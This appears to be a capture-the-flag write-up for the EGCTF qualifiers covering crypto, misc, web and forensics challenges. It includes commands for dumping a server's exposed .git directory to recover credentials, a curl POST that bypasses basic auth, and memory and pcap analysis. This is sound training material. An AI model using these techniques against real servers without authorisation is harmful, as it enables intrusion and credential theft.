> var a=['\x57\x44\x4a\x73\x65\x6c\x67\x77\x57\x6a\x46\x69\x62\x6a\x41\x39','\x5a\x6e\x4a\x76\x62\x55\x4e\x6f\x59\x58\x4a\x44\x62\x32\x52\x6c'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0xc7));var b=function(c,d){c=c-0x0;var e=a[c];if(b['mPLuJI']===undefined){(function(){var f=function(){var g;try{g=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(h){g=window;}return g;};var i=f();var j='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';i['atob']||(i['atob']=function(k){var l=String(k)['replace'](/=+$/,'');for(var m=0x0,n,o,p=0x0,q='';o=l['charAt'](p++);~o&&(n=m%0x4?n*0x40+o:o,m++%0x4)?q+=String['fromCharCode'](0xff&n>>(-0x2*m&0x6)):0x0){o=j['indexOf'](o);}return q;});}());b['QMZCsz']=function(r){var s=atob(r);var t=[];for(var u=0x0,v=s['length'];u<v;u++){t+='%'+('00'+s['charCodeAt'](u)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(t);};b['MdcAcN']={};b['mPLuJI']=!![];}var w=b['MdcAcN'][c];if(w===undefined){e=b['QMZCsz'
](e);b['MdcAcN'][c]=e;}else{e=w;}return e;};variable=function(){flag=String[b('0x0')](0x45,0x47,0x43,0x54,0x46,0x7b,0x4a,0x61,0x76,0x61,0x53,0x63,0x72,0x69,0x70,0x74)+atob(b('0x1'));};another=!![];
true
> variable()
undefined
> flag
'EGCTF{JavaScript_is_Fun}'
>

Starter: Rotten Code

Challenge Description:

1
2
3
We found this key online but it does not make any sense to us. Can you figure anything out?

CEARD{Pmr14_jm0m0m0m0m0m0m0m0m0m0mn}

Solution:

By looking at the text itā€™s easily recognizable that this is the flag but the letters are substituted.
We know that the flag starts with EGCTF so C is E and E is G, which means that the offset is 2. I used rot13.com to decode the flag:

Misc: QR c0d3

Challenge Description:

1
2
3
I tried so hard and got so far but in the end I have nothing to try. Can you help me read this QR code

Flag format EGCTF{$0m3_l337_73x7}

Solution:

Weā€™re given an image called QR.png:

I used onlinebarcodereader.com to read the qr code, but I only got a small part of the flag:

1
R_c0d3$_!$_n07_4n_34$y_74$k} 3nd_0f_Fl49 .

I tried rotating the image by 90 degrees to see if Iā€™ll get any different results, which actually worked:

1
2
[email protected]:~/Desktop/EGCTF-Quals/misc/QR-c0d3# convert QR.png -rotate 90 QR_2.png
[email protected]:~/Desktop/EGCTF-Quals/misc/QR-c0d3#

QR_2.png:

1
7h!5 m355493. Th3 fl49 !5 EGCTF{m3r9!n9_ Q

Letā€™s get the other 2 images:

1
2
3
[email protected]:~/Desktop/EGCTF-Quals/misc/QR-c0d3# convert QR_2.png -rotate 90 QR_3.png
[email protected]:~/Desktop/EGCTF-Quals/misc/QR-c0d3# convert QR_3.png -rotate 90 QR_4.png
[email protected]:~/Desktop/EGCTF-Quals/misc/QR-c0d3#

QR_3.png:

1
H3ll0. Th!5 !5 4 m355493 fr0m 39yp7. Y0u n

QR_4.png:

1
33d m0r3 7h4n 4 QR c0d3 5c4nn3r 70 d3c0d3

Final message:

1
H3ll0. Th!5 !5 4 m355493 fr0m 39yp7. Y0u n33d m0r3 7h4n 4 QR c0d3 5c4nn3r 70 d3c0d3 7h!5 m355493. Th3 fl49 !5 EGCTF{m3r9!n9_ QR_c0d3$_!$_n07_4n_34$y_74$k} 3nd_0f_Fl49 .

Web: Hold Up

Challenge Description:

1
2
3
I never set out to be weird. It was always other people who called me weird.

http://172.105.76.128/

Solution:

The index page only had an image saying ā€œSITE UNDER CONSTRUCTIONā€ and nothing else:

I ran gobuster to check for sub directories and found a git directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up# gobuster -u http://172.105.76.128/ -w /usr/share/wordlists/dirb/common.txt 

=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://172.105.76.128/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/11/16 21:22:42 Starting gobuster
=====================================================
/.git/HEAD (Status: 200)
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/index.php (Status: 200)
/server-status (Status: 403)
=====================================================
2019/11/16 21:23:22 Finished
=====================================================
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up#

/.git:

I used wget to download it:

1
2
3
4
5
6
7
8
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up# mkdir git
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up# cd git/
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git# wget -r http://172.105.76.128/.git/
---
FINISHED --2019-11-16 21:25:20--
Total wall clock time: 1m 21s
Downloaded: 465 files, 712K in 0.9s (774 KB/s)
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git# ls -al
total 12
drwxr-xr-x 3 root root 4096 Nov 16 21:23 .
drwxr-xr-x 3 root root 4096 Nov 16 21:25 ..
drwxr-xr-x 4 root root 4096 Nov 16 21:24 172.105.76.128
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git# cd 172.105.76.128/.git/
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# ls -la
total 88
drwxr-xr-x 8 root root 4096 Nov 16 21:24 .
drwxr-xr-x 4 root root 4096 Nov 16 21:24 ..
drwxr-xr-x 2 root root 4096 Nov 16 21:24 branches
-rw-r--r-- 1 root root 9 Nov 15 02:08 COMMIT_EDITMSG
-rw-r--r-- 1 root root 92 Nov 15 02:08 config
-rw-r--r-- 1 root root 73 Nov 15 02:08 description
-rw-r--r-- 1 root root 23 Nov 15 02:08 HEAD
drwxr-xr-x 2 root root 4096 Nov 16 21:24 hooks
-rw-r--r-- 1 root root 356 Nov 15 02:08 index
-rw-r--r-- 1 root root 2880 Nov 16 21:23 index.html
-rw-r--r-- 1 root root 2880 Nov 16 21:23 'index.html?C=D;O=A'
-rw-r--r-- 1 root root 2880 Nov 16 21:24 'index.html?C=D;O=D'
-rw-r--r-- 1 root root 2880 Nov 16 21:23 'index.html?C=M;O=A'
-rw-r--r-- 1 root root 2880 Nov 16 21:24 'index.html?C=M;O=D'
-rw-r--r-- 1 root root 2880 Nov 16 21:24 'index.html?C=N;O=A'
-rw-r--r-- 1 root root 2880 Nov 16 21:23 'index.html?C=N;O=D'
-rw-r--r-- 1 root root 2880 Nov 16 21:23 'index.html?C=S;O=A'
-rw-r--r-- 1 root root 2880 Nov 16 21:24 'index.html?C=S;O=D'
drwxr-xr-x 2 root root 4096 Nov 16 21:24 info
drwxr-xr-x 3 root root 4096 Nov 16 21:24 logs
drwxr-xr-x 36 root root 4096 Nov 16 21:24 objects
drwxr-xr-x 4 root root 4096 Nov 16 21:25 refs
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git#

I checked the reflog to see the commits:

1
2
3
4
5
6
7
8
9
10
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# git reflog 
2e3e1a8 (HEAD -> master) [email protected]{0}: commit: Refining
89329fa [email protected]{1}: commit: NewFeature
dfecece [email protected]{2}: commit: Addinfo
b032cf8 [email protected]{3}: commit: Disable
5b9e491 [email protected]{4}: commit: DelCr
457168f [email protected]{5}: commit: AddUsetting
b55d897 [email protected]{6}: commit: editconf
70ae358 [email protected]{7}: commit (initial): initials
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git#

The commit NewFeature (89329fa) revealed a secret path (/S3cR3tPaTh):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# git show 2e3e1a8
commit 2e3e1a8c124768ecbb31e92d5c070003924b9254 (HEAD -> master)
Author: Ben ALaa <[email protected]>
Date: Thu Nov 14 23:18:26 2019 +0100

Refining

diff --git a/S3cR3tPaTh/config.php b/S3cR3tPaTh/config.php
index 3d7f801..706d93b 100644
--- a/S3cR3tPaTh/config.php
+++ b/S3cR3tPaTh/config.php
@@ -419,15 +419,6 @@ $CONFIG = array(
*/
'overwriteprotocol' => '',

-/**
- * Override webroot
- * ownCloud attempts to detect the webroot for generating URLs automatically.
- * For example, if `www.example.com/owncloud` is the URL pointing to the
- * ownCloud instance, the webroot is `/owncloud`. When proxies are in use, it
- * may be difficult for ownCloud to detect this parameter, resulting in invalid URLs.
- */
-'overwritewebroot' => '',
-
/**
* Override condition
* This option allows you to define a manual override condition as a regular
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git#

/S3cR3tPaTh:

I could also find the credentials in one of the commits (DelCr (5b9e491)):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# git show 5b9e491
commit 5b9e491802d53d6af1ef25206ccb0765b64a248b
Author: Ben ALaa <[email protected]>
Date: Thu Nov 14 23:15:11 2019 +0100

DelCr

diff --git a/S3cR3tPaTh/config.php b/S3cR3tPaTh/config.php
index 46ed4f3..72e9842 100644
--- a/S3cR3tPaTh/config.php
+++ b/S3cR3tPaTh/config.php
@@ -194,7 +194,7 @@ $CONFIG = array(
'knowledgebaseenabled' => true,

/**
- * Enables or disables avatars or user profile photos
+ /* Enables or disables avatars or user profile photos
* `true` enables avatars, or user profile photos, `false` disables them.
* These appear on the User page, on user's Personal pages and are used by some apps
* (contacts, mail, etc).
@@ -469,15 +469,7 @@ $CONFIG = array(



-
-/**
-* Admin Credentials
-**/
-
-
-'Admin_Login' => 'Administrator'
-'Admin_Password' => '[email protected]&'
-
+/** Delete Admin creds. **/


/**
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git#

Web: Tamp3rat0r

Challenge Description:

1
2
3
4
Some one hacked us, we are sure that our password is so strong!
We've no idea what's happening!
Can you check if our security is solid or not!
http://167.71.248.246/secure/

Solution:

This was the easiest web challenge, by visiting the site we get asked for authentication:

As the description said, the password is strong so bruteforcing the basic auth is not the solution, the challenge name is Tamp3rat0r so I tried tampering with the request method:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[email protected]:~/Desktop/EGCTF-Quals/web/Tamp3rat0r# curl http://167.71.248.246/secure/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested. Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>

<address>Apache/2.4.29 (Ubuntu) Server at 167.71.248.246 Port 80</address>
</body></html>
[email protected]:~/Desktop/EGCTF-Quals/web/Tamp3rat0r# curl -X POST http://167.71.248.246/secure/
our secret flag is: EGCTF{0xc7d22f_is_a_t4mp3rat0r}
[email protected]:~/Desktop/EGCTF-Quals/web/Tamp3rat0r#

Crypto: Des amies

Challenge Description:

1
nc 167.71.93.117 9000

Hint:

1
Strong key!

Solution:

By connecting to that port we get asked for a name, then we get an encrypted output:

1
2
3
4
5
6
7
8
9
10
11
[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies# nc 167.71.93.117 9000
Name: test
Here is your personalized message: Mi!
[email protected],Ę®[email protected]\a"?K4$y N
t-4QV
]Khe-×°Wa58ky

Bye

^C
[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies#

From the challenge name I assumed that the message is DES encrypted so I tried getting an encrypted message then sending it back again to see if Iā€™ll get the decrypted result.
I sent 1, then I saved the output to a file and called it out.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies# echo 1 | nc 167.71.93.117 9000 
Name: Here is your personalized message: [email protected]ĒŠN4X0Fʤ߃&
[MŚø"*A!v.$.8v\G9(sK{~L{+
qOw|,>Ō„BĢƒ]R

Bye
[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies# echo 1 | nc 167.71.93.117 9000 > out.1
[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies# xxd out.1
00000000: 4e61 6d65 3a20 4865 7265 2069 7320 796f Name: Here is yo
00000010: 7572 2070 6572 736f 6e61 6c69 7a65 6420 ur personalized
00000020: 6d65 7373 6167 653a 20b4 4c38 4f0f 4019 message: [email protected]
00000030: e065 834d 63a3 f987 c78a 0195 ebf9 4e34 .e.Mc.........N4
00000040: 5813 30c0 46c6 a480 df83 260c 5b4d dab8 X.0.F.....&.[M..
00000050: 199c c222 2a41 2176 2ea0 ebf9 2499 edfd ..."*A!v....$...
00000060: 2e04 3876 5c47 d039 aa28 b073 a34b 14c5 ..8v\G.9.(.s.K..
00000070: 7b8e efad 7ed6 cde0 de4c 7bc1 2b0a 8f71 {...~....L{.+..q
00000080: 1c4f cde0 77d1 7c84 edeb 2c15 3e06 d484 .O..w.|...,.>...
00000090: 42ad cc83 1db5 5dd5 520a 0a42 7965 B.....].R..Bye
[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies#

I opened the file in vi and removed Name: Here is your personalized message: and Bye:

1
2
3
4
5
6
7
8
9
10
11
[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies# vi out.1
[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies# xxd out.1
00000000: b44c 384f 0f40 19e0 6583 4d63 a3f9 87c7 [email protected]
00000010: 8a01 95eb f94e 3458 1330 c046 c6a4 80df .....N4X.0.F....
00000020: 8326 0c5b 4dda b819 9cc2 222a 4121 762e .&.[M....."*A!v.
00000030: a0eb f924 99ed fd2e 0438 765c 47d0 39aa ...$.....8v\G.9.
00000040: 28b0 73a3 4b14 c57b 8eef ad7e d6cd e0de (.s.K..{...~....
00000050: 4c7b c12b 0a8f 711c 4fcd e077 d17c 84ed L{.+..q.O..w.|..
00000060: eb2c 153e 06d4 8442 adcc 831d b55d d552 .,.>...B.....].R
00000070: 0a0a ..
[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies#

Then I sent the encrypted message as an input, and I successfully got back the decrypted message, thatā€™s when I knew that my approach wasnā€™t intended because it wants the decryption key as the flag:

1
2
3
4
5
6
7
[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies# cat out.1 | nc 167.71.93.117 9000
Name: Here is your personalized message: 1
Well done, now submit the key in hex format, for example, if the key is 'Winter' submit EGCTF{57696e746572} m>eMcĒŠN4X0Fʤ߃&
[MŚø"*A!v.$.8v\G9(sK{~L{+
qOw|,>Ō„BĢƒ]R

[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies#

The hint said Strong key!, so itā€™s probably a weak one, and DES is known for some weak keys. I searched for weak DES keys and found this Wikipedia page. I used des.online-domain-tools.com and started trying some of the keys, 0xFEFEFEFEFEFEFEFE worked:

Forensics: Data Leakage

Challenge Description:

1
2
3
We acquired this memory image from the computer of the main suspect in corporate espionage case. Could you help us find what had been leaked?

flag: EGCTF{md5_hex_lowercase}

Solution:

Weā€™re given a memory image called memdump.mem.
First thing I did was to check the image info (I used volatility):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem imageinfo
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/root/Desktop/eg-ctf-quals/forensics/dataleakage/memdump.mem)
PAE type : PAE
DTB : 0x31c000L
KDBG : 0x80544ce0L
Number of Processors : 1
Image Type (Service Pack) : 2
KPCR for CPU 0 : 0xffdff000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2019-11-05 09:22:13 UTC+0000
Image local date and time : 2019-11-05 11:22:13 +0200

[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage#

Then I checked the processes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 psscan
Volatility Foundation Volatility Framework 2.6
Offset(P) Name PID PPID PDB Time created Time exited
------------------ ---------------- ------ ------ ---------- ------------------------------ ------------------------------
0x000000000164bda0 svchost.exe 972 676 0x08600100 2019-11-05 09:20:17 UTC+0000
0x000000000164cda0 svchost.exe 912 676 0x086000e0 2019-11-05 09:20:17 UTC+0000
0x000000000165b230 svchost.exe 1220 676 0x08600160 2019-11-05 09:20:17 UTC+0000
0x0000000001664390 7zFM.exe 1144 1520 0x08600300 2019-11-05 09:21:53 UTC+0000
0x00000000016ba020 smss.exe 540 4 0x08600020 2019-11-05 09:20:14 UTC+0000
0x0000000001763680 alg.exe 1336 676 0x08600180 2019-11-05 09:20:45 UTC+0000
0x0000000001777658 vmtoolsd.exe 444 676 0x08600220 2019-11-05 09:20:45 UTC+0000
0x000000000178e440 winlogon.exe 632 540 0x08600060 2019-11-05 09:20:16 UTC+0000
0x00000000017eba78 VGAuthService.e 256 676 0x08600200 2019-11-05 09:20:37 UTC+0000
0x00000000018044b8 explorer.exe 1520 1488 0x086001c0 2019-11-05 09:20:19 UTC+0000
0x000000000181c3e8 csrss.exe 604 540 0x08600040 2019-11-05 09:20:15 UTC+0000
0x0000000001838c10 lsass.exe 688 632 0x086000a0 2019-11-05 09:20:16 UTC+0000
0x00000000018413e0 wuauclt.exe 1880 1112 0x086002c0 2019-11-05 09:21:30 UTC+0000
0x0000000001854140 svchost.exe 1160 676 0x08600140 2019-11-05 09:20:17 UTC+0000
0x000000000189c2c8 WinRAR.exe 1308 1520 0x086002e0 2019-11-05 09:21:46 UTC+0000
0x00000000018f64a0 rundll32.exe 1356 1520 0x08600260 2019-11-05 09:20:45 UTC+0000
0x000000000197d620 wscntfy.exe 1460 1112 0x086002a0 2019-11-05 09:21:45 UTC+0000
0x00000000019a65b0 svchost.exe 1112 676 0x08600120 2019-11-05 09:20:17 UTC+0000
0x00000000019b4020 spoolsv.exe 1676 676 0x086001e0 2019-11-05 09:20:19 UTC+0000
0x0000000001a16980 svchost.exe 2024 676 0x086001a0 2019-11-05 09:20:37 UTC+0000
0x0000000001a18da0 wmiprvse.exe 740 912 0x08600240 2019-11-05 09:20:45 UTC+0000
0x0000000001a97da0 vmacthlp.exe 896 676 0x086000c0 2019-11-05 09:20:17 UTC+0000
0x0000000001ab4da0 FTK Imager.exe 592 1520 0x08600320 2019-11-05 09:21:59 UTC+0000
0x0000000001b0ad10 services.exe 676 632 0x08600080 2019-11-05 09:20:16 UTC+0000
0x0000000001b17808 vmtoolsd.exe 1496 1520 0x08600280 2019-11-05 09:20:46 UTC+0000
0x0000000001bcb830 System 4 0 0x0031c000
0x0000000002e9b440 winlogon.exe 632 540 0x08600060 2019-11-05 09:20:16 UTC+0000
0x00000000035c5c10 lsass.exe 688 632 0x086000a0 2019-11-05 09:20:16 UTC+0000
0x00000000035f0390 7zFM.exe 1144 1520 0x08600300 2019-11-05 09:21:53 UTC+0000
0x00000000038b0680 alg.exe 1336 676 0x08600180 2019-11-05 09:20:45 UTC+0000
0x0000000008cd14b8 explorer.exe 1520 1488 0x086001c0 2019-11-05 09:20:19 UTC+0000
0x0000000008da9da0 wmiprvse.exe 740 912 0x08600240 2019-11-05 09:20:45 UTC+0000
0x0000000008f02020 spoolsv.exe 1676 676 0x086001e0 2019-11-05 09:20:19 UTC+0000
0x000000000908b620 wscntfy.exe 1460 1112 0x086002a0 2019-11-05 09:21:45 UTC+0000
0x00000000090c6da0 FTK Imager.exe 592 1520 0x08600320 2019-11-05 09:21:59 UTC+0000
0x00000000091ded10 services.exe 676 632 0x08600080 2019-11-05 09:20:16 UTC+0000
0x000000000920e3e0 wuauclt.exe 1880 1112 0x086002c0 2019-11-05 09:21:30 UTC+0000
0x00000000092e7230 svchost.exe 1220 676 0x08600160 2019-11-05 09:20:17 UTC+0000
0x00000000092e8da0 vmacthlp.exe 896 676 0x086000c0 2019-11-05 09:20:17 UTC+0000
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage#

And I dumped the files:

1
2
3
4
5
6
7
8
9
10
11
12
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# mkdir files
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 dumpfiles -D ./files/
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x81862510 4 \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY
SharedCacheMap 0x81862510 4 \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY
DataSectionObject 0x814ba320 4 \Device\HarddiskVolume1\WINDOWS\system32\config\software
---
ImageSectionObject 0x8163b950 592 \Device\HarddiskVolume1\WINDOWS\system32\msvcr71.dll
DataSectionObject 0x8163b950 592 \Device\HarddiskVolume1\WINDOWS\system32\msvcr71.dll
ImageSectionObject 0x8181eb78 592 \Device\HarddiskVolume1\WINDOWS\system32\mshtml.dll
DataSectionObject 0x8181eb78 592 \Device\HarddiskVolume1\WINDOWS\system32\mshtml.dll
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage#

I ran the file command on all the dumped files and found 2 RAR archives:

1
2
3
4
5
6
7
8
9
10
11
12
13
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# cd files/
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage/files# file *
file.1112.0x8144bae8.img: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
file.1112.0x81463a10.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows
file.1112.0x814646e0.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows
---
file.1144.0x8147e6c8.dat: RAR archive data, v5
file.1144.0x81583d98.vacb: RAR archive data, v5
---
file.972.0x8183a6e0.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows
file.972.0x8183aae8.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows
file.972.0x8183af30.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage/files#

Both of them had an image called flag.png and both of them were password protected:


Earlier when I ran psscan there was a WinRAR process running (PID : 1308 ):

1
2
3
4
5
6
7
8
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 psscan
Volatility Foundation Volatility Framework 2.6
Offset(P) Name PID PPID PDB Time created Time exited
------------------ ---------------- ------ ------ ---------- ------------------------------ ------------------------------
---
0x000000000189c2c8 WinRAR.exe 1308 1520 0x086002e0 2019-11-05 09:21:46 UTC+0000
---
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage#

I checked the environment variables of that process and found the password there:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 envars -p 1308
Volatility Foundation Volatility Framework 2.6
Pid Process Block Variable Value
-------- -------------------- ---------- ------------------------------ -----
1308 WinRAR.exe 0x00010000 ALLUSERSPROFILE C:\Documents and Settings\All Users
1308 WinRAR.exe 0x00010000 APPDATA C:\Documents and Settings\Administrator\Application Data
1308 WinRAR.exe 0x00010000 CLIENTNAME Console
1308 WinRAR.exe 0x00010000 CommonProgramFiles C:\Program Files\Common Files
1308 WinRAR.exe 0x00010000 COMPUTERNAME EGCTF-FEDB3D835
1308 WinRAR.exe 0x00010000 ComSpec C:\WINDOWS\system32\cmd.exe
1308 WinRAR.exe 0x00010000 FP_NO_HOST_CHECK NO
1308 WinRAR.exe 0x00010000 HOMEDRIVE C:
1308 WinRAR.exe 0x00010000 HOMEPATH \Documents and Settings\Administrator
1308 WinRAR.exe 0x00010000 LOGONSERVER \\EGCTF-FEDB3D835
1308 WinRAR.exe 0x00010000 NUMBER_OF_PROCESSORS 1
1308 WinRAR.exe 0x00010000 OS Windows_NT
1308 WinRAR.exe 0x00010000 PASSWORD th!s!sg00d
1308 WinRAR.exe 0x00010000 Path C:\Program Files\WinRAR;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
1308 WinRAR.exe 0x00010000 PATHEXT .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
1308 WinRAR.exe 0x00010000 PROCESSOR_ARCHITECTURE x86
1308 WinRAR.exe 0x00010000 PROCESSOR_IDENTIFIER x86 Family 6 Model 158 Stepping 9, GenuineIntel
1308 WinRAR.exe 0x00010000 PROCESSOR_LEVEL 6
1308 WinRAR.exe 0x00010000 PROCESSOR_REVISION 9e09
1308 WinRAR.exe 0x00010000 ProgramFiles C:\Program Files
1308 WinRAR.exe 0x00010000 SESSIONNAME Console
1308 WinRAR.exe 0x00010000 SystemDrive C:
1308 WinRAR.exe 0x00010000 SystemRoot C:\WINDOWS
1308 WinRAR.exe 0x00010000 TEMP C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
1308 WinRAR.exe 0x00010000 TMP C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
1308 WinRAR.exe 0x00010000 USERDOMAIN EGCTF-FEDB3D835
1308 WinRAR.exe 0x00010000 USERNAME Administrator
1308 WinRAR.exe 0x00010000 USERPROFILE C:\Documents and Settings\Administrator
1308 WinRAR.exe 0x00010000 windir C:\WINDOWS
[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage#


flag.png:

Forensics: Oh My Salary!

Challenge Description:

1
2
3
List of employees with their salaries had been leaked. Here is the traffic captured from the network. It may contain the leaked data. Can you help?

Flag Format: EGCTF{md5_hex_lowercase}

Solution:

Weā€™re given a pcapng file called salary_traffic.pcapng, by looking at the capture in wireshark and sorting the packets according to their protocol I noticed a bunch of weird DNS queries:

All of them were looking up the same domain example.test with different base-64 encoded strings as subdomains.
I used tshark to extract all of these DNS queries and I saved them into a file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# tshark -r ./salary_traffic.pcapng -T fields -e ip.src -e dns.qry.name "dns.flags.response eq 0 and dns.qry.name contains example.test"
Running as user "root" and group "root". This could be dangerous.
192.168.125.145 N3q8ryccAATIxWF+.example.test
192.168.125.145 8AoAAAAAAAB6AAAA.example.test
192.168.125.145 AAAAANY3kCg6AWnJ.example.test
192.168.125.145 Ic9uESaH5GfcRZ9l.example.test
192.168.125.145 KuuWZ/LK8Hnb\nmS+.example.test
---
192.168.125.145 GQAYQB0AGEALgB0A.example.test
192.168.125.145 HgAdAAAABQKAQDQb.example.test
192.168.125.145 KHeApTVARUGAQAgA.example.test
192.168.125.145 AAAAAA=\n.example.test
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# tshark -r ./salary_traffic.pcapng -T fields -e ip.src -e dns.qry.name "dns.flags.response eq 0 and dns.qry.name contains example.test" > out.txt
Running as user "root" and group "root". This could be dangerous.
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

Then by using a text editor I removed the ip address, .example.test and the new lines:

1
2
3
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# cat out.txt 
N3q8ryccAATIxWF+8AoAAAAAAAB6AAAAAAAAANY3kCg6AWnJIc9uESaH5GfcRZ9lKuuWZ/LK8Hnb\nmS+E+XYT7fZ3Nfq4zT1z+BAI9wL3lV5Jsiv/n2EvBE4vc1+PHg/L6QN9AfNG4KihNI8kLHOy02Cz\nJQzLFdT0Zei85AS3CZGZeRQBS+v/U5HYv7AU6K67BU5vI+WQn3cVlc8WqbXm9bpqkwnvncy/xsTG\nzoMY03OBXLJUU/2jFsF2DOPI+uP6a3t8k5n2NaJGiRF0PsRXk2blrpTc1IFaIYI3ArmjWTuLVxYD\nohLpRppUt4+S4iOMX4AYXrzPNUL4zwEisXj8zAh4RB+E+y/8nmXXzh0Pvn4aQAfw3ZsM4TWyQLVa\nUosmZu9rUICrUlRcskmZDD25WukXczXGe6lPwzDozKXmfgErTIPv7vJr57nDJffROYagZoAuW2eb\n3OVaeEfPnESeJHKULhXhfFtbqfVUOeU8TUVcym+47hEg8pTasXdPwbsRfjS+HpAJSAZ2pMtVPhXL\nO2AKQBpw70DoQpgHtk84S+hkbE4RALliYcoEPpQSP9GSSFlOV5wQiD9Xv/GTdQ+Cvx+PUYYfTAlI\nfyNvE4KgrnV03LqhFN7jKJSPImvz6BlPp/wyu2ar+3qjxFfnivSz8Vzmp+fA69gO6xI1WyMT7SfL\nF0PmjtVSR052JmKwvbrfTrFqaef4PfW5fOedyz4/trqE7+xBHqwKqQf8dFUra87uec/VruMJKbuO\nH0sJSCaURkVBFBre9grg0mlXKmxu88ovko5LOLq+S1A1e7DALF6zI9NzEIMp61r0ZISAC5RBi